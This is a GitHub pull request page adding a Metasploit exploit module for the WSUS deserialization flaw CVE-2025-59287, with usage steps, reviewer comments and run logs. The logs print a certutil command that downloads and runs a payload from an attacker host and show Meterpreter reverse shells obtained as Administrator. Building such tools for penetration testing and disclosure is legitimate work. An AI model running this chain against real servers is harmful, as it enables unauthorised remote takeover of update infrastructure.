Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287) #20674

msutovsky-r7 · 2025-11-04T11:30:59Z

This PR adds RCE module for unauthenticated deserialization in WSUS - CVE-2025-59287. ~~Work in progress.~~

WSUS provides features for managing and distributing updates through a management console.
The CVE-2025-59287 is a remote code execution vulnerability in
this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync.
One way to run synchronization is to open the Windows Server Update Service app,
the other is to run the following command from PowerShell:

(Get-WsusServer).GetSubscription().GetLastSynchronizationInfo()

Verification Steps

Setup WSUS on target server
Do: use exploit/windows/http/wsus_deserialization_rce
Do: set RHOSTS [target IP]
Do: set LHOST [attacker IP]
Do: set LPORT [attacker port]
Do: run

Options

Scenarios

msf exploit(windows/http/wsus_deserialization_rce) > run verbose=true
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/g7dX6dKZEs4KZYEuEJH2KQ %TEMP%\nYFKgDXL.exe & start /B %TEMP%\nYFKgDXL.exe
[*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /g7dX6dKZEs4KZYEuEJH2KQ
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Getting server ID
[*] Getting authentication cookie
[*] Getting reporting cookie
[*] Trying to create malicious event
[*] Created malicious event, now waiting for WSUS to sync
[*] Client 10.5.132.161 requested /g7dX6dKZEs4KZYEuEJH2KQ
[*] Sending payload to 10.5.132.161 (Microsoft-CryptoAPI/10.0)
[*] Client 10.5.132.161 requested /g7dX6dKZEs4KZYEuEJH2KQ
[*] Sending payload to 10.5.132.161 (CertUtil URL Agent)
[*] Sending stage (230982 bytes) to 10.5.132.161
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.161:49984) at 2025-11-04 12:27:00 +0100

meterpreter > sysinfo
Computer        : WIN2022__63DA
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN2022__63DA\Administrator

github-actions · 2025-11-04T11:31:09Z

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

modules/exploits/windows/http/wsus_deserialization_rce.rb

jvoisin

Wow, that's a very clean module, kudos!

jvoisin · 2025-11-08T21:30:41Z

modules/exploits/windows/http/wsus_deserialization_rce.rb

+        'Platform' => 'win',
+        'DefaultOptions' => {
+          'RPORT' => '8530',
+          'WfsDelay' => 900 # need to wait for WSUS to try synchronize


Why 900 seconds specifically?

No specific reason, wait here can be longer depending on the server - 900 is for debugging purpose.

jvoisin · 2025-11-08T21:31:33Z

modules/exploits/windows/http/wsus_deserialization_rce.rb

+        'DisclosureDate' => '2025-10-14',
+        'DefaultTarget' => 0,
+        'Notes' => {
+          'Stability' => [CRASH_SERVICE_RESTARTS],


Why crash? This is a deserialization-based RCE, so it shouldn't crash, ever, shouldn't it?

It could, but the module basically creates event that gets deserialized every time that WSUS sync takes place, meaning the payload stays there and it's causing synchronization to fail. So it basically crashes synchronization, which then gets restarted. This is what I've seen/debug while testing.

jvoisin · 2025-11-08T21:31:45Z

modules/exploits/windows/http/wsus_deserialization_rce.rb

+        'Notes' => {
+          'Stability' => [CRASH_SERVICE_RESTARTS],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]


Why SCREEN_EFFECTS?

Because when payload runs, it pops cmd, where you can see certutil being used.

jvoisin · 2025-11-08T21:32:58Z

modules/exploits/windows/http/wsus_deserialization_rce.rb

+      <EventID>389</EventID>
+      <SourceID>301</SourceID>
+      <UpdateID>
+      <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>


Can this be randomized?

Good question, I'll check.

waiting for this investigation but that's not a blocker

The UpdateID could be randomized, other parameters needs to be fixed as different values cause exploit to fail.

dledda-r7 · 2025-11-10T15:11:00Z

documentation/modules/exploit/windows/http/wsus_deserialization_rce.md

+Provides features for managing and distributing updates through a management console.
+The [CVE-2025-59287](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-59287) is a remote code execution vulnerability in
+this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync.
+One way to run synchronization is to open the `Windows Server Update Service` app,
+the other is to run the following command from PowerShell:


I would suggest here to add at least the update number so the people know if it is or is not vulnerable

dledda-r7 · 2025-11-10T15:14:17Z

modules/exploits/windows/http/wsus_deserialization_rce.rb

+          'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
+        }
+      )
+    )


It would be great to add the MITRE attack metric here

dledda-r7 · 2025-11-10T15:15:09Z

modules/exploits/windows/http/wsus_deserialization_rce.rb

+      <EventID>389</EventID>
+      <SourceID>301</SourceID>
+      <UpdateID>
+      <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>


waiting for this investigation but that's not a blocker

dledda-r7

msf exploit(windows/http/wsus_deserialization_rce) > run
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.10:8080/SqHMvLtqAZWhX-2lofXn7w %TEMP%\UCvtZRNV.exe & start /B %TEMP%\UCvtZRNV.exe
[*] Fetch handler listening on 192.168.3.10:8080
[*] HTTP server started
[*] Adding resource /SqHMvLtqAZWhX-2lofXn7w
[*] Started reverse TCP handler on 192.168.3.10:4444 
[*] Getting server ID
[*] Getting authentication cookie
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (605075 bytes) to 10.5.135.158
[*] Getting reporting cookie
[*] Trying to create malicious event
[*] Created malicious event, now waiting for WSUS to sync
[*] Meterpreter session 1 opened (192.168.3.10:4444 -> 10.5.135.158:50803) at 2025-11-11 10:36:26 -0500

meterpreter > sysinfo
Computer        : WIN2022__63DA
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter >

msutovsky-r7 added 4 commits October 21, 2025 16:48

Module init

103e3d5

Updates

96edf7b

Add rce for wsus

e885da1

Adds msf payload to module, adds docs

98467f3

msutovsky-r7 added module needs-docs labels Nov 4, 2025

msutovsky-r7 added 2 commits November 4, 2025 13:36

Code refactor

f195ebd

Adds more docs, adds description

5ad76f8

msutovsky-r7 added docs and removed needs-docs labels Nov 4, 2025

Adds clear message if exploit fails

f586fff

msutovsky-r7 marked this pull request as ready for review November 6, 2025 13:46

msutovsky-r7 added 3 commits November 6, 2025 14:50

Adds SCREEN_EFFECTS to SideEffects

cb00116

Code refactor

904e752

Randomizes parameters that can be randomized

b0afe5e

dledda-r7 reviewed Nov 6, 2025

View reviewed changes

modules/exploits/windows/http/wsus_deserialization_rce.rb Outdated Show resolved Hide resolved

dledda-r7 reviewed Nov 6, 2025

View reviewed changes

modules/exploits/windows/http/wsus_deserialization_rce.rb Outdated Show resolved Hide resolved

msutovsky-r7 added 2 commits November 6, 2025 16:21

Changes CheckCode to Detected

570c7c0

Adds formatting to XML data, adds automatic plugin ID extraction

5ea47e5

jvoisin reviewed Nov 8, 2025

View reviewed changes

dledda-r7 self-assigned this Nov 10, 2025

dledda-r7 reviewed Nov 10, 2025

View reviewed changes

msutovsky-r7 added 2 commits November 10, 2025 16:54

Randomizes XML paramater

fc43441

Adds MITRE reference, updates docs

6aeb81a

dledda-r7 approved these changes Nov 11, 2025

View reviewed changes

Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287) #20674

Are you sure you want to change the base?

Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287) #20674

Conversation

msutovsky-r7 commented Nov 4, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Verification Steps

Options

Scenarios

Uh oh!

github-actions bot commented Nov 4, 2025

Uh oh!

Uh oh!

Uh oh!

jvoisin left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

dledda-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

msutovsky-r7 commented Nov 4, 2025 •

edited

Loading